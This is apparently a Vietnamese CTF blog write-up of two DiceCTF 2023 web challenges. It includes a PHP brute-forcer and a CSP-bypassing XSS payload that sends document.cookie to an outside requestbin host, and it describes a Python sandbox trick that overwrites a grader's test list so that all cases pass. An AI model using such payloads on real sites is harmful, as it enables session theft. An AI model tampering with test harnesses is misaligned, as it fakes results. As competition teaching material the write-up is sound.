Shang
Blog 👨‍💻
  • 🌸Introduction
  • 💻WEB SECURITY
    • Research Vulnerability
      • 📲Server-side topics
        • 🔏API Testing
        • 🔏Race conditions
        • 🔏XML external entity (XXE) injection
        • 🔏Server-side request forgery (SSRF)
        • 🔏File upload vulnerabilities
        • 🔏Access control vulnerabilities and privilege escalation
        • 🔏Business logic vulnerabilities
        • 🔏OS Command injection
        • 🔏Directory traversal
        • 🔏Authentication vulnerabilities
        • 🔏SQL injection
      • 📱Client-side topics
        • 🔏DOM-based vulnerabilities
        • 🔏Cross-origin resource sharing (CORS)
        • 🔏WebSockets
        • 🔏Clickjacking (UI redressing)
        • 🔏Cross-site request forgery (CSRF)
        • 🔏Cross-site scripting(XSS)
      • 🌀Advanced topics
        • 🔐Web cache poisoning
        • 🔐HTTP request smuggling
        • 🔐Prototype pollution
        • 🔐Server-side template injection(SSTI)
        • 🔐Insucure deserialization
    • Learn Java Vulnerability
      • Intro & Setup
      • Java Reflection Part 1
      • Java Reflection Part 2
    • Research Documents
      • 🎯DNS Rebinding
      • 🍪Remote Code Execution - Insecure Deserialization
      • 🍪Remote Code Execution on Jinja - SSTI Lab
      • 🍪Exploit cross-site request forgery (CSRF) - Lab
      • 🍪Exploit a misconfigured CORS - Lab
      • 🍪Same Origin Policy (SOP) - Lab
  • 📝WRITE-UP CTF
    • CTF Competitions
      • 🔰[WolvCTF 2023] Writeup Web
      • 🔰[M☆CTF Training 2023] Writeup Web
      • 🔰[HackTM CTF 2023] Writeup Web
      • 🔰[Incognito 4.0 2023] Writeup Web
      • 🔰[LA CTF 2023] Re-writeup Web
      • 🔰[Dice CTF 2023] Writeup Web
      • 🔰[ByteBandits CTF 2023] Writeup Web
      • 🔰[Knight CTF 2023] Writeup Web
      • 🔰[Sekai CTF 2022] Writeup Web
      • 🔰[WRECK CTF 2022] Writeup Web
      • 🔰[Maple CTF 2022] Writeup Web
    • CTF WarGame
      • ✏️[Root me] Writeup Sever Side
      • ✏️Websec.fr
      • ✏️[Root me] Writeup XSS Challenge
    • [tsug0d]-MAWC
      • 💉TSULOTT
      • 💉IQTEST
      • 🧬TooManyCrypto
      • 🧬NumberMakeup
    • Pwnable.vn
Powered by GitBook
On this page
  • web/recursive-csp
  • web/scorescope
  1. WRITE-UP CTF
  2. CTF Competitions

[Dice CTF 2023] Writeup Web

Previous[LA CTF 2023] Re-writeup WebNext[ByteBandits CTF 2023] Writeup Web

Last updated 2 years ago

web/recursive-csp

Mở đầu bài này chúng ta được cho biết flag nằm ở cookie admin, lỗ hổng mình biết chắc chắn là XSS

Quan trọng làm sao để inject được js chạy ở đây mới quan trọng, ở đây mình nhận ra source có đoạn /?source

Chúng ta sẽ truy cập vào source xem có gì:

<?php
//Nếu có source thì highlight file ra và dừng 
  if (isset($_GET["source"])) highlight_file(__FILE__) && die();
  
// Set default $name là world
  $name = "world";
  
//Nếu có $name và $name là chuỗi và độ dài của biến $name không quá 128 ký tự thì $name là chuỗi vừa được nhập
  if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
    $name = $_GET["name"];
  }

//$nonce lúc này sẽ được encode crc32b từ biến $name
  $nonce = hash("crc32b", $name);
  
//Set header có CSP:.....
  header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
  <head>
    <title>recursive-csp</title>
  </head>
  <body>
    <h1>Hello, <?php echo $name ?>!</h1>
    <h3>Enter your name:</h3>
    <form method="GET">
      <input type="text" placeholder="name" name="name" />
      <input type="submit" />
    </form>
    <!-- /?source -->
  </body>
</html>

Mình đã phân tích đoạn code trên bằng những dòng comment, ở đây chúng ta sẽ lưu ý tới CSP

CSP là một lớp bảo mật được thêm vào mục đích để phát hiện và ngăn chặn một số loại tấn công thường gặp, bao gồm cả cuộc tấn công XSS (Cross Site Scripting) và tấn công data injection.

Ở đây có một dòng ở CSP script-src 'nonce-$nonce' 'unsafe-inline';

  • script-src: Chỉ định nguồn (nơi) load các tài nguyên javascript
  • unsafe-inline: Cho phép sử dụng tài nguyên nội tuyến.

Mình có search thì chỗ unsafe-inline thì nếu inject xss vào nó vẫn hoạt động nhưng mấu chốt là crc32b nó được mã hóa với $name mình đưa vào ý là payload sẽ kiểu như này:

<script nonce="abc123">alert(1);</script>

Khi đó crc32b nó sẽ mã hóa payload trên thành một none khác và check xem nó có khớp nhau hay không? Nếu không khớp nhau thì đoạn payload trên không thể hoạt động và ngược lại.

Sau một lúc suy nghĩa mình thì làm cách nào đó để đoạn payload có nonce = hash("crc32b", "payload")

Tool brute force sẽ như này:

<?php

$nonce_int = 0;

while (true) {
    //crc32b có giá trị từ 0 tới (2**32)-1
    if ($nonce_int > 2 ** 32) {
        echo "Không có giá trị nào khớp";
        break;
    }
    /*Hash giá trị crc32b có tất cả 8 ký tự, ở đây
     chúng ta sẽ chuyển thập lục sang hệ 16 sau đó nếu k đủ 8
     ký tự chúng ta sẽ pad thêm số 0 vào sau */
    $nonce_guess = str_pad(dechex($nonce_int), 8, "0");
    $payload = "<script nonce='$nonce_guess'>document.location='http://wfzlwi8c.requestrepo.com?'+document.cookie</script>";
    $nonce = hash("crc32b", $payload);
    if ($nonce_guess === $nonce) {
        echo $nonce_guess . " " . $nonce;
        echo $payload;
        break;
    }
    $nonce_int += 1;
}
?>
//b670f250 : b670f250<script nonce='b670f250'>document.location='http://wfzlwi8c.requestrepo.com?'+document.cookie</script>

Flag=diceCTF{h0pe_that_d1dnt_take_too_l0ng}

web/scorescope

Đây là một bài mình thấy khá dị, khi vào trang web chúng ta sẽ có một giao diện như này:

Đây là trang web giống với các trang web yêu cầu chúng ta submit bài lên để check, nhiệm vụ chúng ta sẽ phải vượt qua hết tất cả các test case

Code của template.py sẽ như sau:

# DICE 1001
# Homework 3
#
# @author [full name]
# @student_id [student id]
#
# Collaborators:
# - [list collaborators here]
#
# Resources:
# - [list resources consulted]

def add(a, b):
    '''
    Return the sum of a and b.

    Parameters:
        a (int): The first number to add.
        b (int): The second number to add.

    Returns:
        int: The sum of a and b.
    '''

    ######## YOUR CODE ########

    return a+b

    ###########################

def longest(words):
    '''
    Return the longest word in a list of words.
    When there are multiple words of the same length, return the first.

    Parameters:
        words (list): A list of words.

    Returns:
        str: The longest word in the list.
    '''

    ######## YOUR CODE ########


    raise NotImplementedError

    ###########################

def common(a, b):
    '''
    Return the longest common subsequence of two strings.

    Parameters:
        a (str): The first string.
        b (str): The second string.

    Returns:
        str: The longest common subsequence of a and b.
    '''

    ######## YOUR CODE ########

    raise NotImplementedError

    ###########################

def favorite():
    '''
    Return your favorite number. Must be the same as my favorite number.

    Returns:
        int: Your favorite number.
    '''

    ######## YOUR CODE ########

    raise NotImplementedError

    ###########################

def factor(n):
    '''
    Given an integer, find two integers whose product is n.

    Parameters:
        n (int): The number to factor.

    Returns:
        Tuple[int, int]: Two satisfying integers.
    '''

    ######## YOUR CODE ########

    raise NotImplementedError

    ###########################

def preimage(hash):
    '''
    Given a sha256 hash, find a preimage (bytes).

    Parameters:
        hash (str): The sha256 hash of a string in hex.

    Returns:
        bytes: A preimage of the hash.
    '''

    ######## YOUR CODE ########

    raise NotImplementedError

    ###########################

def magic():
    '''
    Guess the random number I am thinking of.

    Returns:
        int: Your guess.
    '''

    ######## YOUR CODE ########

    raise NotImplementedError

    ###########################

Oke khá nhiều yêu cầu để chúng ta giải ra, file trên có một vài case gần như không thể solve.

Chúng ta sẽ upload file xem thử như nào:

Upload template.py lên không sửa thì báo 22 cases đều không thể pass.

Mình sẽ chỉnh lại case đầu tiên với sum của a+b:

Nếu chúng ta thử inject một đoạn python (Kỹ thuật PyJail)

__import__.('os').system('ls')

Nhưng mà không được, nó cấm

Ở đây nếu thế chúng ta sẽ xem trong __main__ có gì bằng cách raise ra Exception của vars(__main__)

Vì chúng ta không thể print ra được nên chỉ có cách vứt exception ra ngoài bằng kiểu này để xem nó có thông tin gì có thể khai thác.

{    '__name__': '__main__', 
    '__doc__': None, 
    '__package__': None, 
    '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f8252a78bd0>, 
    '__spec__': None, 
    '__annotations__': {}, 
    '__builtins__': <module 'builtins' (built-in)>, 
    '__file__': '/app/run', 
    '__cached__': None, 
    'json': <module 'json' from '/usr/local/lib/python3.11/json/__init__.py'>, 
    'sys': <module 'sys' (built-in)>, 
    'TestCase': <class 'unittest.case.TestCase'>, 
    'TestLoader': <class 'unittest.loader.TestLoader'>, 
    'TextTestRunner': <class 'unittest.runner.TextTestRunner'>, 
    'SilentResult': <class 'util.SilentResult'>, 
    'SubmissionImporter': <class 'util.SubmissionImporter'>, 
    'suite': <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[None, 
        None, 
        <test_1_add.TestAdd testMethod=test_add_positive>]>, 
        <unittest.suite.TestSuite tests=[]>]>, 
        <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, 
        <unittest.suite.TestSuite tests=[<test_2_longest.TestLongest testMethod=test_longest_empty>, 
        <test_2_longest.TestLongest testMethod=test_longest_multiple>, 
        <test_2_longest.TestLongest testMethod=test_longest_multiple_tie>, 
        <test_2_longest.TestLongest testMethod=test_longest_single>]>]>, 
        <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, 
        <unittest.suite.TestSuite tests=[<test_3_common.TestCommon testMethod=test_common_consecutive>, 
        <test_3_common.TestCommon testMethod=test_common_empty>, 
        <test_3_common.TestCommon testMethod=test_common_many>, 
        <test_3_common.TestCommon testMethod=test_common_nonconsecutive>, 
        <test_3_common.TestCommon testMethod=test_common_single>]>]>, 
        <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, 
        <unittest.suite.TestSuite tests=[<test_4_favorite.TestFavorite testMethod=test_favorite>]>]>, 
        <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, 
        <unittest.suite.TestSuite tests=[<test_5_factor.TestFactor testMethod=test_factor_bigger>, 
        <test_5_factor.TestFactor testMethod=test_factor_large>, 
        <test_5_factor.TestFactor testMethod=test_factor_small>]>]>, 
        <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, 
        <unittest.suite.TestSuite tests=[<test_6_preimage.TestPreimage testMethod=test_preimage_a>, 
        <test_6_preimage.TestPreimage testMethod=test_preimage_b>]>]>, 
        <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[]>, 
        <unittest.suite.TestSuite tests=[<test_7_magic.TestMagic testMethod=test_magic_a>, 
        <test_7_magic.TestMagic testMethod=test_magic_b>, 
        <test_7_magic.TestMagic testMethod=test_magic_c>]>]>, 
        <unittest.suite.TestSuite tests=[<unittest.suite.TestSuite tests=[<test_8_hidden.TestHidden testMethod=test_hidden>]>]>]>, 
    'tests': [
        'test_hidden', 
        'test_magic_a', 
        'test_magic_b', 
        'test_magic_c', 
        'test_preimage_a', 
        'test_preimage_b', 
        'test_factor_bigger', 
        'test_factor_large', 
        'test_factor_small', 
        'test_favorite', 
        'test_common_consecutive', 
        'test_common_empty', 
        'test_common_many', 
        'test_common_nonconsecutive', 
        'test_common_single', 
        'test_longest_empty', 
        'test_longest_multiple', 
        'test_longest_multiple_tie', 
        'test_longest_single', 
        'test_add_mixed', 
        'test_add_negative', 
        'test_add_positive'
    ], 
    'stack': [], 
    'current': <unittest.suite.TestSuite tests=[
        None, 
        None, 
        <test_1_add.TestAdd testMethod=test_add_positive>
    ]>, 
    'test': <test_1_add.TestAdd testMethod=test_add_positive>, 
    'submission': 'import __main__\r\n\r\ndef add(a, b):\r\n    raise BaseException(vars(__main__))', 
    'f': <_io.TextIOWrapper name='/dev/null' mode='w' encoding='utf-8'>, 
    'stdout': <_io.TextIOWrapper name='<stdout>' mode='w' encoding='utf-8'>, 
    'stderr': <_io.TextIOWrapper name='<stderr>' mode='w' encoding='utf-8'>
}

Ở đây chúng ta chú ý tới mảng test nó có 22 trường hợp giống như trên web vậy chúng ta sẽ làm cách nào đó overwrite nó đi thì chúng ta có thể pass tất cả mọi case:

Một lúc suy nghĩ nếu cho tất cả bằng true thì sao, mình nghĩ nó sẽ được nhưng mình nhận ra test cases lúc này nó không hiện các cases sai nữa mà chỉ hiển thị 1/22 cases đã passed vậy *22 lên thử xem sao:

Vậy là exploit thành công// Flag: dice{still_more_secure_than_gradescope}

📝
🔰
Page cover image